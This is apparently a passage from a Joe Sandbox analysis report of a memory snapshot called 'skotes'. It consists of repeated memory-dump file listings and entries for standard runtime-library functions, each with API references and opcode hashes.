Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 30d01931c992aec5ea2c8928e29f9ee41aba409693a4d51b003d49defa2ab824
Instruction ID: 1d4927eafa54d45622c5831cab4ee7aaaadbc9642a2abae6ae14bc37b69be427
Opcode Fuzzy Hash: 30d01931c992aec5ea2c8928e29f9ee41aba409693a4d51b003d49defa2ab824
Instruction Fuzzy Hash: 74112175940228A6DF24FBA4ED86FEE73AC6F00308F218125B505B60C1EB70AE04C665

Function 0092A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 0092A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 0092A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0092A139

Strings

pScheduler, xrefs: 0092A131

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 549fea07b3575b10f0460b0f6776d6af5a3e6f05e55f1beb7b6016577e613aa6
Instruction ID: 6398f33acdc9d903e068757f62fe516f5976b3d2d55746766c2bfdb7ea64787b
Opcode Fuzzy Hash: 549fea07b3575b10f0460b0f6776d6af5a3e6f05e55f1beb7b6016577e613aa6
Instruction Fuzzy Hash: 8AF05037504214A3CB20FA14FC42D9EB37C5FC0724B10C519E90517186DB709A09C791

Function 0093CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0093CC66

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: f92fa249f10ef3fb10f5d9e9689773018fe52af5358943b86d159d24c19243d1
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: B8B126B2904A459FDB25CF28C881BBEBBE9EF85340F14856AE855FB381D6349D01CF60

Function 009467A9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00946902
__alloca_probe_16.LIBCMT ref: 00946998
__freea.LIBCMT ref: 00946A03
__freea.LIBCMT ref: 00946A0F

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: __alloca_probe_16__freea
String ID:
API String ID: 1635606685-0
Opcode ID: bc0fa5ca4086dfa64ff7cb209294f4a025feaf8661c818963d08e26782415d70
Instruction ID: 384a158eab31ac6dad156bbec19335937bf3e6773f126787c5f4ab05bd8caa5a
Opcode Fuzzy Hash: bc0fa5ca4086dfa64ff7cb209294f4a025feaf8661c818963d08e26782415d70
Instruction Fuzzy Hash: 9881E2B2D0065AABDF209FA48881EEF7BB9DF4B314F184459E904B7241E775CC44CBA2

Function 0093504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00935115
___AdjustPointer.LIBCMT ref: 00935138
___AdjustPointer.LIBCMT ref: 009351D4

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BD1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958744082.0000000000BFD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958826796.0000000000BFE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958938776.0000000000BFF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959015687.0000000000C03000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959128631.0000000000C05000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959252686.0000000000C12000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959349055.0000000000C13000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959422730.0000000000C14000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2959519926.0000000000C15000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_900000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 509f09a5c0bd1b1eeb7ec5c10e5b9d3d52495c2e2bd4171c41244cb3cc3c99aa
Instruction ID: 303e192082931031c10bc9491bd46a6a21fd63003e1c34fe92ed6b00ea497459
Opcode Fuzzy Hash: 509f09a5c0bd1b1eeb7ec5c10e5b9d3d52495c2e2bd4171c41244cb3cc3c99aa
Instruction Fuzzy Hash: 4E512771609A06AFDB288F94D841BBA77B9EF58310F16452DEC05972A0E731ED40CF90

Function 00934C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00934C66
TypeidsEqual.LIBVCRUNTIME ref: 00934C8B
PMDtoOffset.LIBCMT ref: 00934CA1
PMDtoOffset.LIBCMT ref: 00934D22

Memory Dump Source

Source File: 00000005.00000002.2955296041.0000000000901000.00000040.00000001.01000000.00000008.sdmp, Offset: 00900000, based on PE: true

Associated: 00000005.00000002.2955163466.0000000000900000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955296041.0000000000962000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955556619.0000000000969000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955606624.000000000096B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2955713327.0000000000977000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956074086.0000000000AD0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956212665.0000000000AD2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956345701.0000000000AE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956421707.0000000000AE3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AE6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956522297.0000000000AEF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956764310.0000000000B20000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956867475.0000000000B21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2956953011.0000000000B29000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957064797.0000000000B33000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957194708.0000000000B56000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957284229.0000000000B5B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957392196.0000000000B5C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957462625.0000000000B61000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957527258.0000000000B62000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957594906.0000000000B64000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957688494.0000000000B70000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957777407.0000000000B72000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957851912.0000000000B73000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957900426.0000000000B7A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2957942880.0000000000B82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958021598.0000000000B84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958067050.0000000000B8B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958108971.0000000000B8F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958183438.0000000000B9F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958229567.0000000000BA0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958330237.0000000000BAD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958374182.0000000000BAF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958497150.0000000000BC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2958563935.0000000000BC4000.00000040.00000001.01000000.00000008.sdmpDownload File
